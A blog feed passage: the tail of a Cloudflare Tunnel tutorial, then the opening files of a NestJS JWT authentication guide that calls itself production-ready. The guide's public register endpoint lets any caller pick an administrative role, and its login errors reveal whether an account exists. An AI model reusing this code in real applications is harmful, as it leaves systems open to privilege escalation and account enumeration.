<li><p>Make sure your app binds to <code>0.0.0.0:3000</code> not just <code>127.0.0.1:3000</code></p>
</li>
</ol>
<h3 id="heading-dns-not-propagating">DNS Not Propagating</h3>
<p><strong>Error</strong>: <code>dns: no such host</code></p>
<p><strong>Solutions</strong>:</p>
<ol>
<li><p>Wait up to 24 hours for DNS propagation</p>
</li>
<li><p>Check DNS with: <code>nslookup dev.yourdomain.com</code></p>
</li>
<li><p>Verify CNAME record exists in Cloudflare DNS</p>
</li>
<li><p>Try accessing from a different network or use a VPN</p>
</li>
</ol>
<h3 id="heading-tunnel-authentication-issues">Tunnel Authentication Issues</h3>
<p><strong>Error</strong>: <code>failed to request Cloudflare Tunnel connection</code></p>
<p><strong>Solutions</strong>:</p>
<ol>
<li><p>Re-run <code>cloudflared tunnel login</code></p>
</li>
<li><p>Check credentials file path in config.yml</p>
</li>
<li><p>Verify tunnel ID is correct</p>
</li>
<li><p>Ensure domain ownership in Cloudflare</p>
</li>
</ol>
<h3 id="heading-ssl-certificate-errors">SSL Certificate Errors</h3>
<p><strong>Error</strong>: Certificate warnings in browser</p>
<p><strong>Solutions</strong>:</p>
<ol>
<li><p>Set Cloudflare SSL mode to "Full" or "Flexible"</p>
</li>
<li><p>Wait a few minutes for SSL provisioning</p>
</li>
<li><p>Clear browser cache</p>
</li>
<li><p>Check that you're using <code>https://</code> not <code>http://</code></p>
</li>
</ol>
<h2 id="heading-performance-optimization">Performance Optimization</h2>
<h3 id="heading-reduce-latency">Reduce Latency</h3>
<ol>
<li><p><strong>Choose Closest Cloudflare Data Center</strong>: Cloudflare automatically routes to the nearest location</p>
</li>
<li><p><strong>Enable Argo Smart Routing</strong> (paid feature): Routes traffic via fastest paths</p>
</li>
<li><p><strong>Use HTTP/2</strong>: Cloudflare enables this automatically</p>
</li>
<li><p><strong>Enable Brotli Compression</strong>: Available in Cloudflare dashboard</p>
</li>
</ol>
<h3 id="heading-optimize-for-development">Optimize for Development</h3>
<pre><code class="lang-yaml"><span class="hljs-comment"># Development-optimized config</span>
<span class="hljs-attr">tunnel:</span> <span class="hljs-string">your-tunnel-id</span>
<span class="hljs-attr">credentials-file:</span> <span class="hljs-string">/path/to/credentials.json</span>

<span class="hljs-attr">ingress:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">hostname:</span> <span class="hljs-string">dev.yourdomain.com</span>
    <span class="hljs-attr">service:</span> <span class="hljs-string">http://localhost:3000</span>
    <span class="hljs-attr">originRequest:</span>
      <span class="hljs-attr">connectTimeout:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">tlsTimeout:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">tcpKeepAlive:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">keepAliveTimeout:</span> <span class="hljs-string">90s</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<h2 id="heading-monitoring-and-logs">Monitoring and Logs</h2>
<h3 id="heading-view-tunnel-status">View Tunnel Status</h3>
<p>Check if your tunnel is running:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># List all tunnels</span>
cloudflared tunnel list

<span class="hljs-comment"># Show tunnel info</span>
cloudflared tunnel info my-dev-tunnel

<span class="hljs-comment"># View tunnel logs</span>
cloudflared tunnel --loglevel debug run my-dev-tunnel
</code></pre>
<h3 id="heading-cloudflare-analytics">Cloudflare Analytics</h3>
<p>Access detailed analytics in your Cloudflare dashboard:</p>
<ul>
<li><p><strong>Traffic volume</strong>: Requests per day/hour</p>
</li>
<li><p><strong>Response codes</strong>: Success/error rates</p>
</li>
<li><p><strong>Geographic distribution</strong>: Where your users are located</p>
</li>
<li><p><strong>Bandwidth usage</strong>: Data transfer statistics</p>
</li>
</ul>
<h2 id="heading-cost-comparison">Cost Comparison</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Solution</td><td>Setup Time</td><td>Monthly Cost</td><td>Custom Domain</td><td>HTTPS</td><td>Bandwidth</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Cloudflare Tunnel</strong></td><td>10 minutes</td><td>Free</td><td>✅</td><td>✅</td><td>Unlimited</td></tr>
<tr>
<td><strong>ngrok Pro</strong></td><td>2 minutes</td><td>$8-$20</td><td>✅</td><td>✅</td><td>Limited</td></tr>
<tr>
<td><strong>Serveo</strong></td><td>1 minute</td><td>Free</td><td>❌</td><td>✅</td><td>Limited</td></tr>
<tr>
<td><strong>Port Forwarding</strong></td><td>30+ minutes</td><td>ISP costs</td><td>✅</td><td>Manual</td><td>ISP limited</td></tr>
</tbody>
</table>
</div><h2 id="heading-best-practices">Best Practices</h2>
<h3 id="heading-development-workflow">Development Workflow</h3>
<ol>
<li><p><strong>Separate Tunnels for Different Projects</strong>: Create individual tunnels for each project</p>
</li>
<li><p><strong>Use Descriptive Subdomains</strong>: <code>api-v2.yourdomain.com</code> instead of <code>test.yourdomain.com</code></p>
</li>
<li><p><strong>Version Your Configurations</strong>: Keep config files in version control</p>
</li>
<li><p><strong>Document Team Access</strong>: Share tunnel URLs with team members</p>
</li>
</ol>
<h3 id="heading-configuration-management">Configuration Management</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># Organize multiple tunnel configs</span>
mkdir ~/.cloudflared/projects/
mkdir ~/.cloudflared/projects/ecommerce/
mkdir ~/.cloudflared/projects/blog/

<span class="hljs-comment"># Use project-specific configs</span>
cloudflared tunnel --config ~/.cloudflared/projects/ecommerce/config.yml run ecommerce-tunnel
</code></pre>
<h3 id="heading-environment-specific-domains">Environment-Specific Domains</h3>
<pre><code class="lang-yaml"><span class="hljs-comment"># Development</span>
<span class="hljs-string">dev-api.yourdomain.com</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">localhost:3000</span>

<span class="hljs-comment"># Staging  </span>
<span class="hljs-string">staging-api.yourdomain.com</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">localhost:3001</span>

<span class="hljs-comment"># Feature branches</span>
<span class="hljs-string">feature-auth.yourdomain.com</span> <span class="hljs-string">-&gt;</span> <span class="hljs-string">localhost:3002</span>
</code></pre>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Cloudflare Tunnel transforms localhost development from a local-only experience to a globally accessible, production-like environment. Whether you're:</p>
<ul>
<li><p><strong>Sharing work with clients</strong> without deploying half-finished features</p>
</li>
<li><p><strong>Testing webhooks</strong> from external services</p>
</li>
<li><p><strong>Collaborating with remote team members</strong> on localhost applications</p>
</li>
<li><p><strong>Developing mobile apps</strong> that need to connect to your local API</p>
</li>
<li><p><strong>Learning web development</strong> and want to show friends your projects</p>
</li>
</ul>
<p>This setup provides enterprise-grade features (custom domains, HTTPS, global CDN, DDoS protection) at zero cost, with a setup time of just 10 minutes.</p>
<p>The days of "works on my machine" are over. With Cloudflare Tunnel, your machine works everywhere.</p>
<h3 id="heading-quick-setup-summary">Quick Setup Summary</h3>
<pre><code class="lang-bash"><span class="hljs-comment"># 1. Install cloudflared</span>
brew install cloudflared  <span class="hljs-comment"># or download for your OS</span>

<span class="hljs-comment"># 2. Authenticate  </span>
cloudflared tunnel login

<span class="hljs-comment"># 3. Create tunnel</span>
cloudflared tunnel create my-tunnel

<span class="hljs-comment"># 4. Configure DNS</span>
cloudflared tunnel route dns my-tunnel dev.yourdomain.com  

<span class="hljs-comment"># 5. Run tunnel</span>
cloudflared tunnel run my-tunnel
</code></pre>
<p><strong>Total time</strong>: Under 10 minutes<br /><strong>Total cost</strong>: $0<br /><strong>Result</strong>: Professional localhost hosting with your custom domain</p>
<p>Ready to make your localhost globally accessible? Your development workflow will never be the same! 🚀</p>
<hr />
<p><em>Have questions about specific frameworks or need help with advanced tunnel configurations? Drop a comment below or connect with me on social media. Happy tunneling!</em></p>
]]></content:encoded></item><item><title><![CDATA[NestJS JWT Authentication – End-to-End Production Guide]]></title><description><![CDATA[This article walks you through every single file required to get a secure, refresh-token-enabled JWT authentication system in NestJS with Prisma, bcrypt, Passport, and class-validator.Copy / paste the snippets in order and you will have a working pro...]]></description><link>https://article.kumarchaudhary.com.np/nestjs-jwt-authentication-end-to-end-production-guide</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/nestjs-jwt-authentication-end-to-end-production-guide</guid><category><![CDATA[nestjs]]></category><category><![CDATA[Node.js]]></category><category><![CDATA[prisma]]></category><category><![CDATA[JWT token,JSON Web,Token,Token authentication,Access token,JSON token,JWT security,JWT authentication,Token-based authentication,JWT decoding,JWT implementation]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Mon, 11 Aug 2025 18:23:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/iOykDIkZLQw/upload/6ad9ad1d5ea59a233b32475ab30e4678.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This article walks you through <strong>every single file</strong> required to get a secure, refresh-token-enabled JWT authentication system in NestJS with <strong>Prisma</strong>, <strong>bcrypt</strong>, <strong>Passport</strong>, and <strong>class-validator</strong>.<br />Copy / paste the snippets in order and you will have a working project.</p>
<hr />
<h2 id="heading-1-install-dependencies">1. Install dependencies</h2>
<pre><code class="lang-bash">npm i @nestjs/jwt @nestjs/passport passport passport-jwt bcrypt
npm i -D @types/passport-jwt @types/bcrypt
</code></pre>
<hr />
<h2 id="heading-2-environment-variables-env">2. Environment variables (<code>.env</code>)</h2>
<pre><code class="lang-bash">DATABASE_URL=<span class="hljs-string">"postgresql://user:pass@localhost:5432/mydb"</span>
JWT_SECRET=<span class="hljs-string">"super-secret-access"</span>
JWT_REFRESH_SECRET=<span class="hljs-string">"super-secret-refresh"</span>
JWT_EXPIRES=<span class="hljs-string">"15m"</span>
JWT_REFRESH_EXPIRES=<span class="hljs-string">"7d"</span>
</code></pre>
<p>This configuration file likely contains environment variables used by a web application.</p>
<ol>
<li><p><code>DATABASE_URL</code>: This variable stores the connection information for the PostgreSQL database, including the username, password, host, port, and database name.</p>
</li>
<li><p><code>JWT_SECRET</code>: This variable stores a secret key used for generating JSON Web Tokens (JWT) for authentication and authorization purposes. It should be kept private and secure to prevent unauthorized access.</p>
</li>
<li><p><code>JWT_REFRESH_SECRET</code>: This variable stores a separate secret key used specifically for generating refresh tokens in a JWT-based authentication system. Refresh tokens are used to obtain new access tokens after they expire without requiring re-authentication.</p>
</li>
<li><p><code>JWT_EXPIRES</code>: This variable specifies the expiration time for access tokens created by the application. In this case, it is set to 15 minutes, meaning that access tokens will be valid for 15 minutes before they expire.</p>
</li>
<li><p><code>JWT_REFRESH_EXPIRES</code>: This variable specifies the expiration time for refresh tokens generated by the application. In this case, it is set to 7 days, allowing users to obtain new access tokens for a week without having to re-authenticate.</p>
</li>
</ol>
<p>By using these environment variables, the application can securely store sensitive information such as database credentials and authentication secrets, without having to hardcode them in the codebase.</p>
<h2 id="heading-3-prisma-schema-prismaschemaprisma">3. Prisma schema (<code>prisma/schema.prisma</code>)</h2>
<pre><code class="lang-bash">generator client {
  provider = <span class="hljs-string">"prisma-client-js"</span>
}

datasource db {
  provider = <span class="hljs-string">"postgresql"</span>
  url      = env(<span class="hljs-string">"DATABASE_URL"</span>)
}

enum RoleEnum {
  IT_HEAD
  SYSTEM_OWNER
  FINANCE_OFFICER
  REGISTRATION_CLERK
  AUDITOR
  VIEWER
}

model FncciUser {
  id             Int       @id @default(autoincrement())
  email          String    @unique
  password       String
  role           RoleEnum  @default(VIEWER)
  firstName      String
  lastName       String
  phoneNumber    String
  refreshToken   String?   // stores hashed refresh token
  createdAt      DateTime  @default(now())
  updatedAt      DateTime  @updatedAt
}
</code></pre>
<p>After editing:</p>
<pre><code class="lang-bash">npx prisma migrate dev --name init
npx prisma generate
</code></pre>
<hr />
<h2 id="heading-4-create-dtos">4. Create DTOs</h2>
<p><code>src/auth/dto/create-auth.dto.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { ApiProperty } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/swagger'</span>;
<span class="hljs-keyword">import</span> { IsEmail, IsEnum, IsNotEmpty, IsString, MaxLength, MinLength } <span class="hljs-keyword">from</span> <span class="hljs-string">'class-validator'</span>;
<span class="hljs-keyword">import</span> { RoleEnum } <span class="hljs-keyword">from</span> <span class="hljs-string">'@prisma/client'</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> CreateAuthDto {
  <span class="hljs-meta">@ApiProperty</span>({ example: <span class="hljs-string">'john@doe.com'</span> })
  <span class="hljs-meta">@IsEmail</span>() <span class="hljs-meta">@IsNotEmpty</span>()
  email: <span class="hljs-built_in">string</span>;

  <span class="hljs-meta">@ApiProperty</span>({ minLength: <span class="hljs-number">8</span>, maxLength: <span class="hljs-number">20</span> })
  <span class="hljs-meta">@IsString</span>() <span class="hljs-meta">@MinLength</span>(<span class="hljs-number">8</span>) <span class="hljs-meta">@MaxLength</span>(<span class="hljs-number">20</span>) <span class="hljs-meta">@IsNotEmpty</span>()
  password: <span class="hljs-built_in">string</span>;

  <span class="hljs-meta">@ApiProperty</span>({ <span class="hljs-built_in">enum</span>: RoleEnum, example: RoleEnum.VIEWER })
  <span class="hljs-meta">@IsEnum</span>(RoleEnum) <span class="hljs-meta">@IsNotEmpty</span>()
  role: RoleEnum;

  <span class="hljs-meta">@ApiProperty</span>({ example: <span class="hljs-string">'John'</span> })
  <span class="hljs-meta">@IsString</span>() <span class="hljs-meta">@IsNotEmpty</span>()
  firstName: <span class="hljs-built_in">string</span>;

  <span class="hljs-meta">@ApiProperty</span>({ example: <span class="hljs-string">'Doe'</span> })
  <span class="hljs-meta">@IsString</span>() <span class="hljs-meta">@IsNotEmpty</span>()
  lastName: <span class="hljs-built_in">string</span>;

  <span class="hljs-meta">@ApiProperty</span>({ example: <span class="hljs-string">'+977-9801234567'</span> })
  <span class="hljs-meta">@IsString</span>() <span class="hljs-meta">@IsNotEmpty</span>()
  phoneNumber: <span class="hljs-built_in">string</span>;
}
</code></pre>
<p><code>src/auth/dto/login-auth.dto.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { IsEmail, IsNotEmpty, IsString } <span class="hljs-keyword">from</span> <span class="hljs-string">'class-validator'</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> LoginAuthDto {
  <span class="hljs-meta">@IsEmail</span>() <span class="hljs-meta">@IsNotEmpty</span>()
  email: <span class="hljs-built_in">string</span>;

  <span class="hljs-meta">@IsString</span>() <span class="hljs-meta">@IsNotEmpty</span>()
  password: <span class="hljs-built_in">string</span>;
}
</code></pre>
<hr />
<h2 id="heading-5-create-decorators">5. Create decorators</h2>
<p><code>src/decorator/public.decorator.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { SetMetadata } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> IS_PUBLIC_KEY = <span class="hljs-string">'isPublic'</span>;
<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> Public = <span class="hljs-function">() =&gt;</span> SetMetadata(IS_PUBLIC_KEY, <span class="hljs-literal">true</span>);
</code></pre>
<hr />
<h2 id="heading-6-jwt-guard-with-public-route-support">6. JWT Guard with public-route support</h2>
<p><code>src/auth/guard/jwt-auth.guard.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { ExecutionContext, Injectable } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { Reflector } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/core'</span>;
<span class="hljs-keyword">import</span> { AuthGuard } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/passport'</span>;
<span class="hljs-keyword">import</span> { IS_PUBLIC_KEY } <span class="hljs-keyword">from</span> <span class="hljs-string">'../decorator/public.decorator'</span>;

<span class="hljs-meta">@Injectable</span>()
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> JwtAuthGuard <span class="hljs-keyword">extends</span> AuthGuard(<span class="hljs-string">'jwt'</span>) {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">private</span> reflector: Reflector</span>) {
    <span class="hljs-built_in">super</span>();
  }

  canActivate(context: ExecutionContext) {
    <span class="hljs-keyword">const</span> isPublic = <span class="hljs-built_in">this</span>.reflector.getAllAndOverride&lt;<span class="hljs-built_in">boolean</span>&gt;(IS_PUBLIC_KEY, [
      context.getHandler(),
      context.getClass(),
    ]);
    <span class="hljs-keyword">return</span> isPublic ? <span class="hljs-literal">true</span> : <span class="hljs-built_in">super</span>.canActivate(context);
  }
}
</code></pre>
<hr />
<h2 id="heading-7-passport-jwt-strategy">7. Passport JWT Strategy</h2>
<p><code>src/auth/strategy/jwt.strategy.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { Injectable } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { ConfigService } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/config'</span>;
<span class="hljs-keyword">import</span> { PassportStrategy } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/passport'</span>;
<span class="hljs-keyword">import</span> { ExtractJwt, Strategy } <span class="hljs-keyword">from</span> <span class="hljs-string">'passport-jwt'</span>;

<span class="hljs-meta">@Injectable</span>()
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> JwtStrategy <span class="hljs-keyword">extends</span> PassportStrategy(Strategy) {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">private</span> config: ConfigService</span>) {
    <span class="hljs-built_in">super</span>({
      jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
      secretOrKey: config.get&lt;<span class="hljs-built_in">string</span>&gt;(<span class="hljs-string">'JWT_SECRET'</span>),
    });
  }

  <span class="hljs-keyword">async</span> validate(payload: <span class="hljs-built_in">any</span>) {
    <span class="hljs-keyword">return</span> { id: payload.sub, email: payload.email, role: payload.role };
  }
}
</code></pre>
<hr />
<h2 id="heading-8-refresh-token-strategy-optional-but-recommended">8. Refresh-token Strategy (optional but recommended)</h2>
<p><code>src/auth/strategy/jwt-refresh.strategy.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { Injectable } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { ConfigService } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/config'</span>;
<span class="hljs-keyword">import</span> { PassportStrategy } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/passport'</span>;
<span class="hljs-keyword">import</span> { Request } <span class="hljs-keyword">from</span> <span class="hljs-string">'express'</span>;
<span class="hljs-keyword">import</span> { ExtractJwt, Strategy } <span class="hljs-keyword">from</span> <span class="hljs-string">'passport-jwt'</span>;

<span class="hljs-meta">@Injectable</span>()
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> JwtRefreshStrategy <span class="hljs-keyword">extends</span> PassportStrategy(Strategy, <span class="hljs-string">'jwt-refresh'</span>) {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">private</span> config: ConfigService</span>) {
    <span class="hljs-built_in">super</span>({
      jwtFromRequest: ExtractJwt.fromBodyField(<span class="hljs-string">'refreshToken'</span>),
      secretOrKey: config.get&lt;<span class="hljs-built_in">string</span>&gt;(<span class="hljs-string">'JWT_REFRESH_SECRET'</span>),
      passReqToCallback: <span class="hljs-literal">true</span>,
    });
  }

  <span class="hljs-keyword">async</span> validate(req: Request, payload: <span class="hljs-built_in">any</span>) {
    <span class="hljs-keyword">return</span> { id: payload.sub, email: payload.email, role: payload.role, refreshToken: req.body.refreshToken };
  }
}
</code></pre>
<hr />
<h2 id="heading-9-auth-service-register-login-refresh-logout">9. Auth Service – register, login, refresh, logout</h2>
<p><code>src/auth/auth.service.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { ConflictException, ForbiddenException, Injectable, NotFoundException, UnauthorizedException } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { JwtService } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/jwt'</span>;
<span class="hljs-keyword">import</span> * <span class="hljs-keyword">as</span> bcrypt <span class="hljs-keyword">from</span> <span class="hljs-string">'bcrypt'</span>;
<span class="hljs-keyword">import</span> { PrismaService } <span class="hljs-keyword">from</span> <span class="hljs-string">'../prisma/prisma.service'</span>;
<span class="hljs-keyword">import</span> { CreateAuthDto } <span class="hljs-keyword">from</span> <span class="hljs-string">'./dto/create-auth.dto'</span>;
<span class="hljs-keyword">import</span> { LoginAuthDto } <span class="hljs-keyword">from</span> <span class="hljs-string">'./dto/login-auth.dto'</span>;

<span class="hljs-meta">@Injectable</span>()
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> AuthService {
  <span class="hljs-keyword">private</span> <span class="hljs-keyword">readonly</span> salt = <span class="hljs-number">10</span>;

  <span class="hljs-keyword">constructor</span>(<span class="hljs-params">
    <span class="hljs-keyword">private</span> prisma: PrismaService,
    <span class="hljs-keyword">private</span> jwt: JwtService,
  </span>) {}

  <span class="hljs-keyword">async</span> register(dto: CreateAuthDto) {
    <span class="hljs-keyword">const</span> exists = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.findUnique({ where: { email: dto.email } });
    <span class="hljs-keyword">if</span> (exists) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ConflictException(<span class="hljs-string">'Email already taken'</span>);

    <span class="hljs-keyword">const</span> hashed = <span class="hljs-keyword">await</span> bcrypt.hash(dto.password, <span class="hljs-built_in">this</span>.salt);
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.create({
      data: { ...dto, password: hashed },
      select: { id: <span class="hljs-literal">true</span>, email: <span class="hljs-literal">true</span>, role: <span class="hljs-literal">true</span>, firstName: <span class="hljs-literal">true</span>, lastName: <span class="hljs-literal">true</span>, phoneNumber: <span class="hljs-literal">true</span>, createdAt: <span class="hljs-literal">true</span> },
    });
    <span class="hljs-keyword">return</span> user;
  }

  <span class="hljs-keyword">async</span> login(dto: LoginAuthDto) {
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.findUnique({ where: { email: dto.email } });
    <span class="hljs-keyword">if</span> (!user) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> NotFoundException(<span class="hljs-string">'User not found'</span>);

    <span class="hljs-keyword">const</span> ok = <span class="hljs-keyword">await</span> bcrypt.compare(dto.password, user.password);
    <span class="hljs-keyword">if</span> (!ok) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> UnauthorizedException(<span class="hljs-string">'Wrong password'</span>);

    <span class="hljs-keyword">const</span> payload = { sub: user.id, email: user.email, role: user.role };

    <span class="hljs-keyword">const</span> accessToken = <span class="hljs-built_in">this</span>.jwt.sign(payload, { expiresIn: <span class="hljs-string">'15m'</span> });
    <span class="hljs-keyword">const</span> refreshToken = <span class="hljs-built_in">this</span>.jwt.sign(payload, { secret: process.env.JWT_REFRESH_SECRET, expiresIn: <span class="hljs-string">'7d'</span> });

    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.update({ where: { id: user.id }, data: { refreshToken: <span class="hljs-keyword">await</span> bcrypt.hash(refreshToken, <span class="hljs-built_in">this</span>.salt) } });

    <span class="hljs-keyword">return</span> { accessToken, refreshToken };
  }

  <span class="hljs-keyword">async</span> refreshTokens(refreshToken: <span class="hljs-built_in">string</span>) {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">const</span> payload = <span class="hljs-built_in">this</span>.jwt.verify(refreshToken, { secret: process.env.JWT_REFRESH_SECRET });
      <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.findUnique({ where: { id: payload.sub } });
      <span class="hljs-keyword">if</span> (!user || !user.refreshToken) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ForbiddenException(<span class="hljs-string">'Access Denied'</span>);

      <span class="hljs-keyword">const</span> rtMatches = <span class="hljs-keyword">await</span> bcrypt.compare(refreshToken, user.refreshToken);
      <span class="hljs-keyword">if</span> (!rtMatches) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ForbiddenException(<span class="hljs-string">'Access Denied'</span>);

      <span class="hljs-keyword">const</span> newPayload = { sub: user.id, email: user.email, role: user.role };
      <span class="hljs-keyword">const</span> newAccess = <span class="hljs-built_in">this</span>.jwt.sign(newPayload, { expiresIn: <span class="hljs-string">'15m'</span> });
      <span class="hljs-keyword">const</span> newRefresh = <span class="hljs-built_in">this</span>.jwt.sign(newPayload, { secret: process.env.JWT_REFRESH_SECRET, expiresIn: <span class="hljs-string">'7d'</span> });

      <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.update({ where: { id: user.id }, data: { refreshToken: <span class="hljs-keyword">await</span> bcrypt.hash(newRefresh, <span class="hljs-built_in">this</span>.salt) } });

      <span class="hljs-keyword">return</span> { accessToken: newAccess, refreshToken: newRefresh };
    } <span class="hljs-keyword">catch</span> {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ForbiddenException(<span class="hljs-string">'Invalid refresh token'</span>);
    }
  }

  <span class="hljs-keyword">async</span> logout(userId: <span class="hljs-built_in">number</span>) {
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.prisma.fncciUser.update({ where: { id: userId }, data: { refreshToken: <span class="hljs-literal">null</span> } });
    <span class="hljs-keyword">return</span> { message: <span class="hljs-string">'Logged out'</span> };
  }
}
</code></pre>
<hr />
<h2 id="heading-10-auth-controller">10. Auth Controller</h2>
<p><code>src/auth/auth.controller.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { Body, Controller, HttpCode, HttpStatus, Post, Req, UseGuards, ValidationPipe } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { AuthService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./auth.service'</span>;
<span class="hljs-keyword">import</span> { CreateAuthDto } <span class="hljs-keyword">from</span> <span class="hljs-string">'./dto/create-auth.dto'</span>;
<span class="hljs-keyword">import</span> { LoginAuthDto } <span class="hljs-keyword">from</span> <span class="hljs-string">'./dto/login-auth.dto'</span>;
<span class="hljs-keyword">import</span> { Public } <span class="hljs-keyword">from</span> <span class="hljs-string">'../decorator/public.decorator'</span>;
<span class="hljs-keyword">import</span> { Request } <span class="hljs-keyword">from</span> <span class="hljs-string">'express'</span>;

<span class="hljs-meta">@Controller</span>(<span class="hljs-string">'auth'</span>)
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> AuthController {
  <span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">private</span> auth: AuthService</span>) {}

  <span class="hljs-meta">@Public</span>()
  <span class="hljs-meta">@Post</span>(<span class="hljs-string">'register'</span>)
  <span class="hljs-keyword">async</span> register(<span class="hljs-meta">@Body</span>(ValidationPipe) dto: CreateAuthDto) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.auth.register(dto);
  }

  <span class="hljs-meta">@Public</span>()
  <span class="hljs-meta">@HttpCode</span>(HttpStatus.OK)
  <span class="hljs-meta">@Post</span>(<span class="hljs-string">'login'</span>)
  <span class="hljs-keyword">async</span> login(<span class="hljs-meta">@Body</span>() dto: LoginAuthDto) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.auth.login(dto);
  }

  <span class="hljs-meta">@Public</span>()
  <span class="hljs-meta">@HttpCode</span>(HttpStatus.OK)
  <span class="hljs-meta">@Post</span>(<span class="hljs-string">'refresh'</span>)
  <span class="hljs-keyword">async</span> refresh(<span class="hljs-meta">@Body</span>(<span class="hljs-string">'refreshToken'</span>) refreshToken: <span class="hljs-built_in">string</span>) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.auth.refreshTokens(refreshToken);
  }

  <span class="hljs-meta">@Post</span>(<span class="hljs-string">'logout'</span>)
  <span class="hljs-keyword">async</span> logout(<span class="hljs-meta">@Req</span>() req: Request) {
    <span class="hljs-keyword">const</span> user = req.user <span class="hljs-keyword">as</span> <span class="hljs-built_in">any</span>;
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.auth.logout(user.id);
  }
}
</code></pre>
<hr />
<h2 id="heading-11-auth-module-wiring">11. Auth Module wiring</h2>
<p><code>src/auth/auth.module.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { Module } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { JwtModule } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/jwt'</span>;
<span class="hljs-keyword">import</span> { PassportModule } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/passport'</span>;
<span class="hljs-keyword">import</span> { PrismaModule } <span class="hljs-keyword">from</span> <span class="hljs-string">'../prisma/prisma.module'</span>;
<span class="hljs-keyword">import</span> { AuthService } <span class="hljs-keyword">from</span> <span class="hljs-string">'./auth.service'</span>;
<span class="hljs-keyword">import</span> { AuthController } <span class="hljs-keyword">from</span> <span class="hljs-string">'./auth.controller'</span>;
